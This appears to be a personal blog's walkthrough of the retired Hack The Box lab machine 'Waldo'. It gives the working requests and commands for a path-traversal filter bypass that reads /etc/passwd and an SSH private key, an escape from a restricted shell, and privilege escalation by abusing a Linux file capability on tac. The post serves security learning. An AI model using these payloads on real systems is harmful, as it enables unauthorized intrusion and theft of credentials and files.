danhoerst.com

Dan Hoerst

This is a walkthrough of the retired Waldo box on https://www.hackthebox.eu.

SPOILERS BELOW

We’ll start off like we do every box by running nmap:

root@kali:~/Documents/htb/waldo# nmap -sC -sV -oA top_ports 10.10.10.87
# Nmap 7.70 scan initiated Tue Dec 11 23:19:34 2018 as: nmap -sC -sV -oA top_ports 10.10.10.87
Nmap scan report for 10.10.10.87
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 11 23:19:44 2018 -- 1 IP address (1 host up) scanned in 9.96 seconds

We see that nginx is running on the standard HTTP port, leading us to a “List Manager”:

<img src=https://i.imgur.com/hkbv0bJ.png> Browsing the site it seems that we have unauthenticated ability to create, read and delete lists.

When we check out the calls in Burp Suite we see files such as fileDelete.php, fileRead.php, fileWrite.php and dirRead.php.

Looking into fileRead.php, it takes a path POST parameter which appears to be a past to a list. First let’s see if we can see the source code of fileRead.php by passing itself to file:

POST /fileRead.php HTTP/1.1

Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.87/list.html
Content-type: application/x-www-form-urlencoded
Content-Length: 17
Connection: close

file=fileRead.php

Success! The source code is returned:

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Sun, 16 Dec 2018 02:50:07 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 577



{"file":"<?php\n\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\")
{\n\t$fileContent['file'] = false;
\n\theader('Content-Type: application\/json');
\n\tif(isset($_POST['file']))
{\n\t\theader('Content-Type: application\/json');
\n\t\t$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);
\n\t\tif(strpos($_POST['file'], \"user.txt\") === false){
\n\t\t\t$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");
\n\t\t\t$fileContent['file'] = fread($file,filesize($_POST['file']));  
\n\t\t\tfclose();\n\t\t}\n\t}\n\techo json_encode($fileContent);\n}\n"}

We see that the validation on path is using str_replace:

$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);

The validation is removing occurences of ../ and ..\ but not recursively. If we pass file as ..././..././..././etc/passwd and occurrences of ../ are removed we are left with ../../../etc/passwd. Let’s test it out:

POST /fileRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.87/list.html
Content-type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close

file=..././..././..././etc/passwd

And we receive the /etc/passwd contents:

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Sun, 16 Dec 2018 02:58:17 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 1443

{"file":"root:x:0:0:root:\/root:\/bin\/ash\n
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n
sync:x:5:0:sync:\/sbin:\/bin\/sync\n
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n
news:x:9:13:news:\/usr\/lib\/news:\/sbin\/nologin\n
...

Using fileRead.php, dirRead.php and our new LFI vulnerability we can find out that there is a user, nobody, with a home directory at /home/monitor. Inspecting that directory we find a .ssh folder and an SSH key named .monitor. We grab the contents of that ssh key and attempt to ssh in:

root@kali:~/Documents/htb/waldo# ssh -i ssh.pem nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$

And we’re in!

After some recon we notice that our ssh connection to the machine is running on port 8888. This raises suspicion since ssh typically runs on port 22:

waldo:~$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:http            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN
tcp        0      0 localhost:9000          0.0.0.0:*               LISTEN
tcp        0      0 10.10.10.87:8888        10.10.14.10:55112       ESTABLISHED
tcp        0      0 :::http                 :::*                    LISTEN
tcp        0      0 :::ssh                  :::*                    LISTEN
tcp        0      0 :::8888                 :::*                    LISTEN
udp        0      0 10.10.10.87:37432       10.10.10.2:domain       ESTABLISHED

While the ssh we are connected to appears to be on port 8888, there is another ssh running on port 22. My first inclination was to ssh -i .ssh/.monitor waldo@localhost, which didn’t work. However, using the monitor user did work:

waldo:~$ ssh -i .ssh/.monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.
          @@@,@@/ %
       #*/%@@@@/.&@@,
   @@@#@@#&@#&#&@@@,*%/
   /@@@&###########@@&*(*
 (@################%@@@@@.     /**
 @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
 %@@@@%##########&@@@....                 .#%#@@@@@@@#
 @@&%#########@@@@/                        */@@@%(((@@@%
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
      @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
     @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
     @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
       @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
        @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
                          *@@,,,,,,,.,****,..,,,,,,,,&@@
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@
                           .@@,,,,,,,,,,,,,...,,,,,,@@
                            ,@@@,,,,,,,,,,,,,,,,.(@@@
                              %@@@@&(,,,,*(#&@@@@@@,

                            Here's Waldo, where's root?
Last login: Thu Dec 13 23:10:58 2018 from 127.0.0.1
-rbash: alias: command not found
monitor@waldo:~$ cd /
-rbash: cd: restricted

We’ve found Waldo! And we’ve found a restricted shell. Let’s try to ssh in while specifying bash --noprofile to avoid any default shell in the user’s settings:

waldo:~$ ssh -i .ssh/.monitor monitor@localhost -t "bash --noprofile"
monitor@waldo:~$ cd /
monitor@waldo:/$

Great! We’re out of the restricted shell. We also see some issues with the PATH variable which we can solve with export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin.

Looking around the user’s home directory we see an app-dev directory with a logMonitor program. We have the full source code of the program so we can quickly understand that it accepts different flags to read different log files. However, any flags we pass to the program result in Permission denied since all of the files are owned by root.

Checking the app-dev folder further we find a 0.1 version of the logMonitor program. Running the program with the same command line flags outputs the contents of the root owned log files. Typically when we’ve found a file that can act as another user its flagged as suid or guid but that is not the case here:

monitor@waldo:~/app-dev/v0.1$ ls -lah logMonitor-0.1
-r-xr-x--- 1 app-dev monitor 14K May  3  2018 logMonitor-0.1

If the file is not suid or guid, how are we able to use it to read root owned files? The answer is Linux capabilities.

From the linux capabilities man page:

Starting with kernel 2.2, Linux divides the privileges traditionally
associated with superuser into distinct units, known as capabilities,
which can be independently enabled and disabled.  Capabilities are a
per-thread attribute.

Let’s check the capabilities of the logMonitor-0.1 file:

monitor@waldo:~/app-dev/v0.1$ getcap /home/monitor/app-dev/v0.1/logMonitor-0.1 2>/dev/null
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

We see the file has a special capability - cap_dac_read_search+ei. From the same man page:

CAP_DAC_READ_SEARCH
      * Bypass file read permission checks and directory read and
        execute permission checks;
      * invoke open_by_handle_at(2);
      * use the linkat(2) AT_EMPTY_PATH flag to create a link to a
        file referred to by a file descriptor.

Interesting! We can bypass read permission checks entirely with this file. Let’s see if any other files have that capability set:

monitor@waldo:~/app-dev/v0.1$ getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

We see tac, which reads files backwards (cat backwards, get it?). Since we’re here to read a file, that works for us!

tac /root/root.txt

Success! This was a fun box. I did not know about Linux capabilities and it’s an interesting thing to have added to my tool kit. I hope you learned something as well!